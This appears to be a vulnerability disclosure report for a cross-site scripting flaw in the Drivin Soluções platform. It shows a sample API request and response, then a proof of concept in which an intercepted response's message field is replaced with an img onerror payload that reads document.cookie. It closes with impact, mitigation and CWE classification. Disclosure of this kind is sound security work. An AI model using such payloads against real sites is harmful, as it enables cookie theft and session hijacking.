Gửi #509834: Drivin Drivin Soluções NA Cross-Site Scripting via API Response Manipulation

Vendor: Drivin
Product: Drivin Soluções

A Cross-Site Scripting (XSS) vulnerability was identified in the Drivin Soluções platform. The issue arises from improper handling of API responses, where user-controlled input is reflected directly in the front-end without proper sanitization.

Request:
POST /api/school/registerSchool HTTP/2
Host: X.X.X.X
Content-Type: application/json

{"name":"bilubiluteteia","code":"123","cnpj":"12.321.321/3213-21","email":"[email protected]","phone":"(12) 3 1231-2312","zipCode":"18053-362","city":"Sorocaba","street":"Rua Almir Muza Soares","district":"Jardim Santa Bárbara","number":"123123","complement":"","state":"SP"}

Response:
HTTP/2 400 Bad Request
Content-Type: application/json

{"message":"Escola ja cadastrada!","error":"Escola ja cadastrada!","statusCode":400}

POC ----------------

By intercepting the API response and modifying the `message` field, an attacker can inject JavaScript that will execute on the client-side when processed by the front-end.

Malicius Request:
HTTP/2 400 Bad Request
Content-Type: application/json

{"message":"<img src onerror=alert(document.cookie)>","error":"Escola ja cadastrada!","statusCode":400}

When this response is rendered on the webpage, the JavaScript within the `message` field executes, leading to an XSS attack.

Impact:
- Theft of authentication cookies and session hijacking.
- Potential redirection to malicious websites.
- Defacement or unauthorized actions performed on behalf of the victim.

Mitigation:
- Implement proper output encoding before displaying any user-supplied data.
- Use Content Security Policy (CSP) to restrict script execution.
- Sanitize API responses before rendering them in the front-end.

Classification:
- Type: Reflected XSS via API Response Manipulation
- CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
